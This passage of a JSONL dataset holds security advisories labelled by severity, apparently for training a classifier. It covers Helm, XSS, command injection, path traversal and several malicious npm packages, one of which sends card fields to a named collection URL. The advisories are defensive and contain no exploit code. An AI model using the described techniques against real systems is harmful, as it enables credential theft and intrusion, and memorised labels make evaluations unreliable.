repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at [cncf-helm-security@lists.cncf.io](mailto:cncf-helm-security@lists.cncf.io)", "text_raw": "Lookup function information discolosure in helm\n\n[Severity: HIGH]\n\nThe Helm core maintainers have identified an information disclosure vulnerability in Helm 3.0.0-3.1.2. \n\n### Impact\n\n`lookup` is a Helm template function introduced in Helm v3. It is able to lookup resources in the cluster to check for the existence of specific resources and get details about them. This can be used as part of the process to render templates.\n\nThe documented behavior of `helm template` states that it does not attach to a remote cluster. However, as the recently added `lookup` template function circumvents this restriction and connects to the cluster even during `helm template` and `helm install|update|delete|rollback --dry-run`. The user is not notified of this behavior.\n\nRunning `helm template` should not make calls to a cluster. This is different from `install`, which is presumed to have access to a cluster in order to load resources into Kubernetes. Helm 2 is unaffected by this vulnerability.\n\nA malicious chart author could inject a `lookup` into a chart that, when rendered through `helm template`, performs unannounced lookups against the cluster a user's `KUBECONFIG` file points to. This information can then be disclosed via the output of `helm template`.\n\n### Patches\n\nThis issue has been fixed in Helm 3.2.0\n\n### Workarounds\n\nDue to another bug (also fixed in Helm 3.2.0), the command `helm lint` will fail with an error if the `lookup` function is used in a chart. Therefore, run `helm lint` on an untrusted chart before running `helm template`.\n\nAlternately, setting the `KUBECONFIG` environment variable to point to an empty Kubernetes configuration file will prevent unintended network connections.\n\nFinally, a chart may be manually analyzed for the presence of a `lookup` function in any file in the `templates/` directory.  \n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Helm repository](https://github.com/helm/helm/issues)\n* For security-specific issues, email us at [cncf-helm-security@lists.cncf.io](mailto:cncf-helm-security@lists.cncf.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "08ed31c5d3564005f57d", "text": "node-sqlite is malware\n\nThe `node-sqlite` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-sqlite is malware\n\n[Severity: HIGH]\n\nThe `node-sqlite` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "27d2cbe1af6f33854d41", "text": "Malicious Package in codify\n\nVersion 0.3.1 of `codify` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.3.1 of this module is found installed you will want to replace it with a version before or after 0.3.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in codify\n\n[Severity: CRITICAL]\n\nVersion 0.3.1 of `codify` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.3.1 of this module is found installed you will want to replace it with a version before or after 0.3.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f9b9417fd0ec6c4614cf", "text": "MySource Matrix 3.28.3 (height) Remote Reflected XSS Vulnerability", "text_raw": "MySource Matrix 3.28.3 (height) Remote Reflected XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-09-06", "split": "train"}
-{"id": "72a06403b503b4e75db1", "text": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k kernel-mode driver fails to properly handle objects in memory which allows for privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Win32k Privilege Escalation Vulnerability\n\nAffected: Microsoft Win32k\n\nMicrosoft Win32k kernel-mode driver fails to properly handle objects in memory which allows for privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6d0e38fe3b3c10d9331b", "text": "Malicious Package in owl-orchard-apple-sunshine\n\nAll versions of `owl-orchard-apple-sunshine` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in owl-orchard-apple-sunshine\n\n[Severity: CRITICAL]\n\nAll versions of `owl-orchard-apple-sunshine` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "96c0e0a4afeaca4b812c", "text": "Using ktlint to download and execute custom rulesets can result in arbitrary code execution as the served jars can be compromised by a MITM. This attack is exploitable via Man in the Middle of the HTTP connection to the artifact servers. This vulnerability appears to have been fixed in 0.30.0 and later; after commit 5e547b287d6c260d328a2cb658dbe6b7a7ff2261.", "text_raw": "High severity vulnerability that affects com.github.shyiko.ktlint:ktlint-core\n\n[Severity: HIGH]\n\nUsing ktlint to download and execute custom rulesets can result in arbitrary code execution as the served jars can be compromised by a MITM. This attack is exploitable via Man in the Middle of the HTTP connection to the artifact servers. This vulnerability appears to have been fixed in 0.30.0 and later; after commit 5e547b287d6c260d328a2cb658dbe6b7a7ff2261.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "42855f4ff5165136bdff", "text": "FLIR Systems FLIR Thermal Traffic Cameras RTSP Stream Disclosure", "text_raw": "FLIR Systems FLIR Thermal Traffic Cameras RTSP Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-10-06", "split": "train"}
-{"id": "4a8712ad2c52ff7261d6", "text": "TaffyDB can allow access to any data items in the DB\n\nTaffyDB allows attackers to forge adding additional properties into user-input processed by taffy which can allow access to any data items in the DB. Taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If index is found in the query, TaffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g., T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB. **Note:** `taffy` and its successor package `taffydb` are not maintained.", "text_raw": "TaffyDB can allow access to any data items in the DB\n\n[Severity: HIGH]\n\nTaffyDB allows attackers to forge adding additional properties into user-input processed by taffy which can allow access to any data items in the DB. Taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If index is found in the query, TaffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g., T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB. **Note:** `taffy` and its successor package `taffydb` are not maintained.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-19", "split": "train"}
-{"id": "cf7342890577057d2179", "text": "Mozilla Firefox And Thunderbird Use-After-Free Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a race condition vulnerability when running the nsDocShell destructor under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362, CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Mozilla Firefox And Thunderbird Use-After-Free Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a race condition vulnerability when running the nsDocShell destructor under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362, CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "78d135b92b4070a48404", "text": "Downloads Resources over HTTP in mystem-wrapper\n\nAffected versions of `mystem-wrapper` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem-wrapper`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in mystem-wrapper\n\n[Severity: HIGH]\n\nAffected versions of `mystem-wrapper` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem-wrapper`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d62c71a83939ca780751", "text": "Cross-Site Scripting in BookStack\n\n### Impact\n\nA user with permission to create comments could POST HTML directly to the system to be saved in a comment, which would then be executed/displayed to others users viewing the comment. Through this vulnerability custom JavaScript code could be injected and therefore ran on other user machines.\n\nThis most impacts scenarios where not-trusted users are given permission to create comments.\n\n### Patches\n\nThe issue was addressed in BookStack v0.29.2.\n\nAfter upgrading, The command `php artisan bookstack:regenerate-comment-content` should be ran to remove any pre-existing dangerous content.\n\n### Workarounds\n\nComments can be disabled in the system settings to prevent them being shown to users. Alternatively, comment creation permissions can be altered as required to only those who are trusted but this will not address existing exploitation of this vulnerability.\n\n### References\n\n* [BookStack Beta v0.29.2](https://github.com/BookStackApp/BookStack/releases/tag/v0.29.2)\n* JVN#41035278\n* [BookStack Blog Post](https://bookstackapp.com/blog/beta-release-v0-29-2/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BookStack GitHub repository](BookStackApp/BookStack/issues).\n* Ask on the [BookStack Discord chat](https://discord.gg/ztkBqR2).\n* Follow the [BookStack Security Advice](https://github.com/BookStackApp/BookStack#-security) to contact someone privately.", "text_raw": "Cross-Site Scripting in BookStack\n\n[Severity: MEDIUM]\n\n### Impact\n\nA user with permission to create comments could POST HTML directly to the system to be saved in a comment, which would then be executed/displayed to others users viewing the comment. Through this vulnerability custom JavaScript code could be injected and therefore ran on other user machines.\n\nThis most impacts scenarios where not-trusted users are given permission to create comments.\n\n### Patches\n\nThe issue was addressed in BookStack v0.29.2.\n\nAfter upgrading, The command `php artisan bookstack:regenerate-comment-content` should be ran to remove any pre-existing dangerous content. \n\n### Workarounds\n\nComments can be disabled in the system settings to prevent them being shown to users. Alternatively, comment creation permissions can be altered as required to only those who are trusted but this will not address existing exploitation of this vulnerability. \n\n### References\n\n* [BookStack Beta v0.29.2](https://github.com/BookStackApp/BookStack/releases/tag/v0.29.2)\n* JVN#41035278\n* [BookStack Blog Post](https://bookstackapp.com/blog/beta-release-v0-29-2/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BookStack GitHub repository](BookStackApp/BookStack/issues).\n* Ask on the [BookStack Discord chat](https://discord.gg/ztkBqR2).\n* Follow the [BookStack Security Advice](https://github.com/BookStackApp/BookStack#-security) to contact someone privately.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-07", "split": "train"}
-{"id": "c67d6c47f5916189472c", "text": "Origin Validation Error in Apache Maven\n\nApache Maven will follow repositories that are defined in a dependency’s Project Object Model (pom) which may be surprising to some users, resulting in potential risk if a malicious actor takes over that repository or is able to insert themselves into a position to pretend to be that repository. Maven is changing the default behavior in 3.8.1+ to no longer follow http (non-SSL) repository references by default. More details available in the referenced urls. If you are currently using a repository manager to govern the repositories used by your builds, you are unaffected by the risks present in the legacy behavior, and are unaffected by this vulnerability and change to default behavior. See this link for more information about repository management: https://maven.apache.org/repository-management.html", "text_raw": "Origin Validation Error in Apache Maven\n\n[Severity: CRITICAL]\n\nApache Maven will follow repositories that are defined in a dependency’s Project Object Model (pom) which may be surprising to some users, resulting in potential risk if a malicious actor takes over that repository or is able to insert themselves into a position to pretend to be that repository. Maven is changing the default behavior in 3.8.1+ to no longer follow http (non-SSL) repository references by default. More details available in the referenced urls. If you are currently using a repository manager to govern the repositories used by your builds, you are unaffected by the risks present in the legacy behavior, and are unaffected by this vulnerability and change to default behavior. See this link for more information about repository management: https://maven.apache.org/repository-management.html", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "fb23a4590da9796c2790", "text": "Go Ethereum Denial of Service\n\n`cmd/evm/runner.go` in Go Ethereum (aka geth) allows attackers to cause a denial of service (SEGV) via crafted bytecode.\n### Specific Go Packages Affected\ngithub.com/ethereum/go-ethereum/cmd/evm", "text_raw": "Go Ethereum Denial of Service\n\n[Severity: HIGH]\n\n`cmd/evm/runner.go` in Go Ethereum (aka geth) allows attackers to cause a denial of service (SEGV) via crafted bytecode.\n### Specific Go Packages Affected\ngithub.com/ethereum/go-ethereum/cmd/evm", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "61b644f2e53bc6e8f3fc", "text": "The NPM package `flatmap-stream` is considered malicious.  A malicious actor added this package as a dependency to the NPM `event-stream` package in version `3.3.6`.  Users of `event-stream` are encouraged to downgrade to the last non-malicious version, `3.3.4`, or upgrade to the latest  4.x version.\n\nUsers of `flatmap-stream` are encouraged to remove the dependency entirely.", "text_raw": "Critical severity vulnerability that affects event-stream and flatmap-stream\n\n[Severity: CRITICAL]\n\nThe NPM package `flatmap-stream` is considered malicious.  A malicious actor added this package as a dependency to the NPM `event-stream` package in version `3.3.6`.  Users of `event-stream` are encouraged to downgrade to the last non-malicious version, `3.3.4`, or upgrade to the latest  4.x version. \n\nUsers of `flatmap-stream` are encouraged to remove the dependency entirely.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-11-26", "split": "train"}
-{"id": "af0595f6881cedde41e1", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig (aka shaded hikari-config).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig (aka shaded hikari-config).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-23", "split": "train"}
-{"id": "6e141c30e4123efe3fd6", "text": "Constructr CMS 3.03 Multiple Remote Vulnerabilities (XSS/SQLi)", "text_raw": "Constructr CMS 3.03 Multiple Remote Vulnerabilities (XSS/SQLi)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-03-11", "split": "train"}
-{"id": "f7de67da11fc85ea72d3", "text": "Regression in JWT Signature Validation\n\n### Overview\nVersions after and including `2.3.0` are improperly validating the JWT token signature when using the `JWTValidator.verify` method.  Improper validation of the JWT token signature when not using the default Authorization Code Flow can allow an attacker to bypass authentication and authorization.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using `omniauth-auth0`.\n- You are using `JWTValidator.verify` method directly OR you are not authenticating using the SDK’s default Authorization Code Flow.\n\n### How to fix that?\nUpgrade to version `2.4.1`.\n\n### Will this update impact my users?\nThe fix provided in this version will not affect your users.", "text_raw": "Regression in JWT Signature Validation\n\n[Severity: HIGH]\n\n### Overview\nVersions after and including `2.3.0` are improperly validating the JWT token signature when using the `JWTValidator.verify` method.  Improper validation of the JWT token signature when not using the default Authorization Code Flow can allow an attacker to bypass authentication and authorization.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using `omniauth-auth0`.\n- You are using `JWTValidator.verify` method directly OR you are not authenticating using the SDK’s default Authorization Code Flow.\n\n### How to fix that?\nUpgrade to version `2.4.1`.\n\n### Will this update impact my users?\nThe fix provided in this version will not affect your users.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-03", "split": "train"}
-{"id": "19b5066a781d81f34744", "text": "espeak-ruby allows arbitrary command execution\n\nThe espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the `speak`, `save`, `bytes` or `bytes_wav` method in `lib/espeak/speech.rb`.", "text_raw": "espeak-ruby allows arbitrary command execution\n\n[Severity: CRITICAL]\n\nThe espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the `speak`, `save`, `bytes` or `bytes_wav` method in `lib/espeak/speech.rb`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "df4525bdde041fd8ea02", "text": "Improper Input Validation and Code Injection in pdf-image\n\nLack of input validation in pdf-image npm package version &lt;= 2.0.0 may allow an attacker to run arbitrary code if PDF file path is constructed based on untrusted user input.", "text_raw": "Improper Input Validation and Code Injection in pdf-image\n\n[Severity: HIGH]\n\nLack of input validation in pdf-image npm package version &lt;= 2.0.0 may allow an attacker to run arbitrary code if PDF file path is constructed based on untrusted user input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "7ace3ee53ef0e82b87ab", "text": "actionmailer email address processing causes Denial of service\n\nMultiple format string vulnerabilities in log_subscriber.rb files in the log subscriber component in Action Mailer in Ruby on Rails 3.x before 3.2.15 allow remote attackers to cause a denial of service via a crafted e-mail address that is improperly handled during construction of a log message.", "text_raw": "actionmailer email address processing causes Denial of service\n\n[Severity: MEDIUM]\n\nMultiple format string vulnerabilities in log_subscriber.rb files in the log subscriber component in Action Mailer in Ruby on Rails 3.x before 3.2.15 allow remote attackers to cause a denial of service via a crafted e-mail address that is improperly handled during construction of a log message.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "4e1ad9f4b9b5cf7a0fa3", "text": "In Apache PDFBox a carefully crafted PDF file can trigger an extremely long running computation\n\nIn Apache PDFBox 1.8.0 to 1.8.15 and 2.0.0RC1 to 2.0.11, a carefully crafted PDF file can trigger an extremely long running computation when parsing the page tree.", "text_raw": "In Apache PDFBox a carefully crafted PDF file can trigger an extremely long running computation\n\n[Severity: MEDIUM]\n\nIn Apache PDFBox 1.8.0 to 1.8.15 and 2.0.0RC1 to 2.0.11, a carefully crafted PDF file can trigger an extremely long running computation when parsing the page tree.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "b83640a42f43d8390e15", "text": "Persistent XSS in newsletter module in Shopware\n\n### Impact\nPersistent XSS in newsletter module\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "text_raw": "Persistent XSS in newsletter module in Shopware\n\n[Severity: LOW]\n\n### Impact\nPersistent XSS in newsletter module\n\n### Patches\n\nWe recommend updating to the current version 5.6.9. You can get the update to 5.6.9 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-11-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "7e30e2071b7a4d1e5db6", "text": "Malicious Package in angular-bmap\n\nVersion 0.0.9 of `angular-bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.0.9 of this module is found installed you will want to replace it with a version before or after 0.0.9. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in angular-bmap\n\n[Severity: CRITICAL]\n\nVersion 0.0.9 of `angular-bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.0.9 of this module is found installed you will want to replace it with a version before or after 0.0.9. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5476e1ee01fbe93558c4", "text": "OS Command Injection in Rake\n\nThere is an OS command injection vulnerability in Ruby Rake before 12.3.3 in `Rake::FileList` when supplying a filename that begins with the pipe character `|`.", "text_raw": "OS Command Injection in Rake\n\n[Severity: MEDIUM]\n\nThere is an OS command injection vulnerability in Ruby Rake before 12.3.3 in `Rake::FileList` when supplying a filename that begins with the pipe character `|`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-28", "split": "train"}
-{"id": "3f971d9fe23501207570", "text": "showdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n\nshowdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).", "text_raw": "showdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n\n[Severity: MEDIUM]\n\nshowdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "5cc5234068bb28ae3821", "text": "WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities", "text_raw": "WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-04-14", "split": "train"}
-{"id": "51ffd295e7ad8b991987", "text": "Embedthis Appweb Web Server 3.2.2-1 (Ejscript) Remote XSS Vulnerability", "text_raw": "Embedthis Appweb Web Server 3.2.2-1 (Ejscript) Remote XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-12-23", "split": "train"}
-{"id": "20f78df6034be191757c", "text": "Denial of Service in @commercial/ammo\n\nVersions of `@commercial/ammo` prior to 2.1.1 are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.", "text_raw": "Denial of Service in @commercial/ammo\n\n[Severity: HIGH]\n\nVersions of `@commercial/ammo` prior to 2.1.1 are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "9b21f6eba863c5400469", "text": "Trend Micro Multiple Products Content Validation Escape Vulnerability\n\nAffected: Trend Micro Apex One, OfficeScan and Worry-Free Business Security Agents\n\nTrend Micro Apex One, OfficeScan, and Worry-Free Business Security agents contain a content validation escape vulnerability that could allow an attacker to manipulate certain agent client components.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Multiple Products Content Validation Escape Vulnerability\n\nAffected: Trend Micro Apex One, OfficeScan and Worry-Free Business Security Agents\n\nTrend Micro Apex One, OfficeScan, and Worry-Free Business Security agents contain a content validation escape vulnerability that could allow an attacker to manipulate certain agent client components.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "33fae599292ef84a3069", "text": "Symlink reference outside of node_modules in bin-links\n\nVersions of `bin-links` prior to 1.1.5 are vulnerable to a Symlink reference outside of node_modules. It is possible to create symlinks to files outside of the`node_modules` folder through the `bin` field. This may allow attackers to access unauthorized files.\n\n## Recommendation\n\nUpgrade to version 1.1.5 or later.", "text_raw": "Symlink reference outside of node_modules in bin-links\n\n[Severity: LOW]\n\nVersions of `bin-links` prior to 1.1.5 are vulnerable to a Symlink reference outside of node_modules. It is possible to create symlinks to files outside of the`node_modules` folder through the `bin` field. This may allow attackers to access unauthorized files.\n\n\n## Recommendation\n\nUpgrade to version 1.1.5 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4b796c9077284ae08513", "text": "Path Traversal in bruteser\n\nVersions of `bruteser` prior to 0.1.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nUpgrade to version 0.1.0 or later.", "text_raw": "Path Traversal in bruteser\n\n[Severity: HIGH]\n\nVersions of `bruteser` prior to 0.1.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nUpgrade to version 0.1.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "945ddf37013cadc9d15c", "text": "Wrong memory orderings violates mutual exclusion in spin\n\nWrong memory orderings inside the RwLock implementation allow for two writers to acquire the lock at the same time. The drop implementation used Ordering::Relaxed, which allows the compiler or CPU to reorder a mutable access on the locked data after the lock has been yielded.\n\nOnly users of the RwLock implementation are affected. Users of Once (including users of lazy_static with the spin_no_std feature enabled) are NOT affected.\n\nOn strongly ordered CPU architectures like x86, the only real way that this would lead to a memory corruption is if the compiler reorders an access after the lock is yielded, which is possible but in practice unlikely. It is a more serious issue on weakly ordered architectures such as ARM which, except in the presence of certain instructions, allow the hardware to decide which accesses are seen at what times. Therefore on an ARM system it is likely that using the wrong memory ordering would result in a memory corruption, even if the compiler itself doesn't reorder the memory accesses in a buggy way.", "text_raw": "Wrong memory orderings violates mutual exclusion in spin\n\n[Severity: HIGH]\n\nWrong memory orderings inside the RwLock implementation allow for two writers to acquire the lock at the same time. The drop implementation used Ordering::Relaxed, which allows the compiler or CPU to reorder a mutable access on the locked data after the lock has been yielded.\n\nOnly users of the RwLock implementation are affected. Users of Once (including users of lazy_static with the spin_no_std feature enabled) are NOT affected.\n\nOn strongly ordered CPU architectures like x86, the only real way that this would lead to a memory corruption is if the compiler reorders an access after the lock is yielded, which is possible but in practice unlikely. It is a more serious issue on weakly ordered architectures such as ARM which, except in the presence of certain instructions, allow the hardware to decide which accesses are seen at what times. Therefore on an ARM system it is likely that using the wrong memory ordering would result in a memory corruption, even if the compiler itself doesn't reorder the memory accesses in a buggy way.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
